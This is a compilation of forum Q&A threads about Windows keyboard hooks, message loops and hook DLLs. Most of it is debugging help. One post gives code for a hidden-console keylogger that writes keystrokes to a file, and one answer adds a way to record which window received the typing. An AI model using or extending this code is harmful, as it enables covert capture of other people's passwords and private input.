I was trying to make a simple keylog test, but my program doesn't work as expected and I don't know why.
In my program i had a low level keyboard hook and attach a simple process to it. The process just opens/creates a file and writes "Hello World" then closes. However it isn't creating the file, probably because my process isn't correct or because my hook wasn't established correctly.
Code:
#include<windows.h>
#include<stdio.h>
#include <iostream>
#include <fstream>
using namespace std;
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam){
ofstream myfile;
myfile.open ("[PATH]/example.txt");
myfile << "Hello world";//((KBDLLHOOKSTRUCT *)lParam)->vkCode
myfile.close();
return CallNextHookEx(NULL,code,wParam,lParam);
}
int main(void){
HINSTANCE hInst = NULL;
HHOOK hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, hInst, 0);
printf("HHOOK is not null: %s\n", (hHook != NULL) ? "True" : "False");
char q;
for (cout << "q to quit\n"; q != 'q'; cin >> q);
printf("Successfully unhooked: %s", UnhookWindowsHookEx(hHook) ? "True" : "False");
}
Solution I needed to add a message loop to the main function:
LPMSG Msg;
while(GetMessage(Msg, NULL, 0, 0) > 0)
{
TranslateMessage(Msg);
DispatchMessage(Msg);
}
Thre are two kind of hooks:
Global Hooks
Global hook procedures should be placed into a separate DLL, then in your main process you load the hook dll and it's hooking procedure and set the hook.
A global hook monitors messages for all threads in the same desktop as
the calling thread. A thread-specific hook monitors messages for only
an individual thread. A global hook procedure can be called in the
context of any application in the same desktop as the calling thread,
so the procedure must be in a separate DLL module.
That said: KeyboardProc goes into a separate DLL (e.g. myhookdll.dll).
In your process you do something like this:
HOOKPROC hkprc;
static HINSTANCE hhookDLL ;
static HHOOK hhook ;
hhookDLL = LoadLibrary(TEXT("c:\\...\\myhookdll.dll"));
hkprc = (HOOKPROC)GetProcAddress(hhookDLL, "KeyboardProc");
hhook = SetWindowsHookEx(
WH_KEYBOARD,
hkprc,
hhookDLL,
0);
Here a good reference: http://msdn.microsoft.com/en-us/library/windows/desktop/ms644960(v=vs.85).aspx
Thread Level Hooks about this specific 'WH_KEYBOARD_LL' that hooks at thread level, it does not need a separate DLL.
A thread-specific
hook procedure is called only in the context of the associated thread.
If an application installs a hook procedure for one of its own
threads, the hook procedure can be in either the same module as the
rest of the application's code or in a DLL. If the application
installs a hook procedure for a thread of a different application, the
procedure must be in a DLL. For information, see Dynamic-Link
Libraries.
But thread level hook needs a message pump:
This hook is called in the context of the thread that installed it.
The call is made by sending a message to the thread that installed the
hook. Therefore, the thread that installed the hook must have a
message loop.
Here a basic message loop:
while((bRet = GetMessage(&msg, NULL, 0, 0)) != 0)
{
if(bRet == -1)
{
// Handle Error
}
else
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
Related
I am trying to mod an older game, more specifically I want to emulate keyboard input via Xbox controller input. I already have the gamepad input working, but the game ignores my fake input I create with PostMessage (I tried PostThreadMessage as well with worse outcome.)
So here is the core piece of my code, a detour of PeekMessage :
BOOL WINAPI MyPeekMessage(LPMSG lpMsg, HWND hWnd, UINT wMsgFilterMin, UINT wMsgFilterMax, UINT wRemoveMsg)
{
BOOL ret = RealPeekMessage(lpMsg, hWnd, wMsgFilterMin, wMsgFilterMax, wRemoveMsg);
if (lpMsg->message == WM_KEYDOWN)
{
cout << "Key press";
}
if (!ret)
{
if (joypadButtonDown)
{
LPARAM lparam = 0x00000001 | (LPARAM)(EnterScanCode << 16); // Scan code, repeat=1
BOOL res = PostMessage(mainHwnd, WM_KEYDOWN, VK_RETURN, lparam);
}
}
return ret;
}
Now the problem is that the game doesn't use its message loop to read keyboard input, but instead uses SetWindowsHookEx with WH_KEYBOARD on its own main window thread.
So on a real key press what happens is :
The game's main loop calls my detour which calls the real PeekMessage which calls the hook procedure. But if I send my fake message (with identical parameters) the game again calls my detour but the real PeekMessage doesn't call the hook procedure and therefore misses the input.
Some additional Info :
- I've checked that everything happens on the same thread (Main window creation, setting the hook and the main loop)
- I tried sending PostMessage directly from IDirectInputDevice8->GetDeviceState with the same result
- Invoking the hook procedure directly causes a crash (which makes sense).
I found a somewhat dirty workaround. I call the game's SetWindowsHookEx KeyboardProc callback directly and avoid the crash I mentioned in the OP by detouring CallNextHookEx to ignore my fake hook calls.
I want to detect keypress in C++ and i need to use Windows System Call. So, i did some research and this is what i got using Hooks and Message:
#include <Windows.h>
#include <iostream>
#include <sstream>
#include <fstream>
#include <ctime>
using namespace std;
LRESULT CALLBACK LowLevelKeyboardProc(int code, WPARAM wParam, LPARAM lParam) {
if (code == HC_ACTION) {
switch (wParam) {
case WM_KEYDOWN:
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam;
char c = char(MapVirtualKey(p->vkCode, MAPVK_VK_TO_CHAR));
cout << c << endl;
}
}
return CallNextHookEx(NULL, code, wParam, lParam);
}
int main() {
HHOOK HKeyboard = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, 0, 0);
MSG msg;
BOOL bRet;
while ((bRet = GetMessage(&msg, NULL, 0, 0)) > 0) {
cout << "bRet = " << bRet << endl; // I want to do something here, but the program doesn't seem to go in here
TranslateMessage(&msg);
DispatchMessage(&msg);
}
UnhookWindowsHookEx(HKeyboard);
return 0;
}
My question is why my program doesn't go inside the loop(and instead stuck on GetMessage function)? I need it to set conditions to terminate after some seconds, so where should i put the conditions? I know the GetMessage function reads Message, but when i press keys on my keyboard it still not going in and the callback function works just fine.
The events are posted to the active window. Console windows are owned by the console subsystem, csrss.exe, and it receives the events, then translates them to characters and puts them in the console object which is your application's stdin.
If you want to process events the Win32 GUI way, you should use a Win32 window (e.g. RegisterClass and CreateWindow), not a console window.
If you just want the callbacks to work for a certain period of time, you can use an alertable wait such as SleepEx or MsgWaitForMultipleObjects, which accept a timeout.
That's not surprising, there aren't really any messages on your thread queue and you have no window so there's no window queue either.
If you want to play with values returned from your hook, put the code in the hook callback function.
I should warn you that hooks like these won't work in console applications since the console window resides in another process. Also, if you look at the MSDN page for SetWindowsHookEx, you'll see that WH_KEYBOARD_LL is a global hook only, ie you have to put your hook handler in a DLL library and inject the hook in the other applications. Then you have to handle the 32/64 bit issue yourself.
And as a last note, when you say cout << c; in your handler, that would be printing in the process's output file handle, not your own.
I have a dll that gets called by a process and now I would like to implement an input check in the dll to react on certain inputs that occur in the application.
SetWindowsHookEx() with a KeyboardProc function seemed like a possible solution so I implemented it.
This is roughly how the code in the dll looks like:
static HHOOK hhk = NULL;
LRESULT CALLBACK keyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
if(code == HC_ACTION && ((DWORD)lParam & 0x80000000) == 0) // if there is an incoming action and a key was pressed
{
switch(wParam)
{
case VK_SPACE:
printf("Space was pressed\n");
break;
}
}
return CallNextHookEx(hhk, code, wParam, lParam);
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
if(ul_reason_for_call == DLL_PROCESS_ATTACH)
{
if(AllocConsole()){
freopen("CONOUT$", "w", stdout); // redirect output to console for debugging
}
printf("Dll loaded, lastError = %i\n", GetLastError());
printf("lastError = %i\n", GetLastError());
// sidenote: for some reason the first GetLastError() returns 0 while the second one returns 6 (invalid handle)
hhk = SetWindowsHookEx(WH_KEYBOARD, keyboardProc, hModule, GetCurrentThreadId());
}
else if (ul_reason_for_call == DLL_PROCESS_DETACH)
{
printf("\nCleaning up...");
FreeConsole();
UnhookWindowsHookEx(hhk);
}
return TRUE;
}
However nothing happens (or gets printed) in the Console window when I press any key. It doesn't even seem like the keyboardProc function is accessed at any time.
It does work though when I pass NULL instead of GetCurrentThreadId() to SetWindowsHookEx().
But this causes the hook to work globally meaning that whenever I press a key in another application, a Console window pops up (because the dll gets called again) and he checks for key inputs there.
Obviously this is not desired and I would like to make this work with only the process that originally called the dll.
I already checked if GetCurrentThreadId() returns a valid ID and it seems to be indeed the main thread ID of the process that initially called the dll (checked with Process Explorer).
So now my question is what could be the problem and more importantly, what can I do to make it working?
[DllImport("user32.dll", SetLastError = true)]
static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);
uint process_id;
uint thread_id = GetWindowThreadProcessId(windowHandle, out process_id);
hhook = SetWindowsHookEx(WH_KEYBOARD, a_KeyboardProc, hInstance, 0);
I have used the code above to get the main thread_ID for a certain process. The good part is, the SetWindowsHookEx function gives a logical output. Unfortunately, the bad part is, if a key is pressed in the thread that has been hooked, the thread stops working.
In specific, the idHook parameter of SetWindowsHoookEx function was set to 2 (instead of 13) in my case for non-low-level keyboard events. It seems, at least to me, that LL corresponds to low-level, where keyboardProc should come with a WH_KEYBOARD instead of WH_KEYBOARD_LL.
I am not sure at this point how my response would be related to your question. Hopefully, we get what we need through discussion.
I`m trying to write a simple keylogger in C++ using WinAPI. Is there a way to get in which application the user is typing the captured key strokes?
And here is my code so far:
#include <iostream>
#include <windows.h>
#include <winuser.h>
using namespace std;
int main()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
char i;
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
{
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen("LOG.txt", "a+");
int c=static_cast<int>(i);
fprintf(OUTPUT_FILE, "%s", &c);
fclose (OUTPUT_FILE);
}
}
}
system ("PAUSE");
return 0;
}
What you want is a global keyboard hook
A global hook monitors messages for all threads in the same desktop as
the calling thread. A thread-specific hook monitors messages for only
an individual thread. A global hook procedure can be called in the
context of any application in the same desktop as the calling thread,
so the procedure must be in a separate DLL module. A thread-specific
hook procedure is called only in the context of the associated thread.
If an application installs a hook procedure for one of its own
threads, the hook procedure can be in either the same module as the
rest of the application's code or in a DLL. If the application
installs a hook procedure for a thread of a different application, the
procedure must be in a DLL. For information, see Dynamic-Link
Libraries.
Since the question is "Is there a way to get in which application the user is typing the captured key strokes?"
I'd say use HWND WINAPI GetForegroundWindow(void);
For example:
char cWindow[MAX_PATH];
GetWindowTextA(GetForegroundWindow(), cWindow, sizeof(cWindow));
In cWindow you get the title of the window in which the user is typing.
#include <iostream>
#include <fstream>
#define _WIN32_WINNT 0x501
#include <windows.h>
using namespace std;
HHOOK hKeyboardHook = 0;
LRESULT CALLBACK KeyboardCallback(int code,WPARAM wParam,LPARAM lParam) {
cout << "a key was pressed" << endl;
ofstream myfile;
myfile.open ("hookcheck.txt", ios::ate | ios::app);
myfile << "a key was pressed\n";
myfile.close();
return CallNextHookEx(hKeyboardHook,code,wParam,lParam);
}
int main() {
HWND consoleWindow = GetConsoleWindow();
HINSTANCE hInstCons = (HINSTANCE)GetWindowLong( consoleWindow, GWL_HINSTANCE );
hKeyboardHook = SetWindowsHookEx( WH_KEYBOARD, (HOOKPROC)KeyboardCallback, (HINSTANCE)consoleWindow, GetCurrentThreadId());
MessageBox(NULL, "It is keyboard time!", "Let's Go", MB_OK);
}
This code on every key press while the loop is going should print message on console and create a file, but nothing is happening. What do I wrong ?
I will quote from another topic:
Console windows are handled entirely by CSRSS, which is a system
process. Installing a hook into a process means injecting your DLL
into it. Since CSRSS is so important (it's vital for running of the
system, and code within runs as LocalSystem, which is the local
super-admin user), you're not allowed to inject code into it. So you
can't hook any of its windows.
There are no real window messages taking place in your simple console application, so your hook does not have to be called, and in your case you are not even injecting your hook but using thread mode hook only. Per MSDN documentation it is called when messages are about to be processed:
An application-defined or library-defined callback function used with
the SetWindowsHookEx function. The system calls this function whenever
an application calls the GetMessage or PeekMessage function and there
is a keyboard message (WM_KEYUP or WM_KEYDOWN) to be processed.
Now let me show you what you can do to start receiving calls on your hook:
MessageBox(NULL, _T("It is keyboard time!"), _T("Let's Go"), MB_OK);
//for(int i=0; i<=10; i++) {
// cout << i << endl;
// Sleep(1000);
//}
Do MessageBox and before closing it start typing - you will start getting hook calls.
Read the documentation for SetWindowsHookEx. Is it working, it will return NULL if it fails and GetLastError() can be called to get an error code to help diagnose what is wrong.
http://msdn.microsoft.com/en-us/library/windows/desktop/ms644990(v=vs.85).aspx
Sleep(1000) suspends the execution of the current thread until the time-out interval elapses. It means that your program is not actually running (ie. processing messages) during this sleep.
You need to use a different kind of command, that will keep the message loop running. The simplest thing would be to wait for user input
while(true)
std::cin.get();
I have created a dll that hooked the keyboard and in there I used the DllMainfunction to retrieve a HINSTANCE that can be used in SetWindowsHookEx.
Next to that I also used 0 as the threadid so all threads get hooked.
Perhaps you could try a similar tactic as well.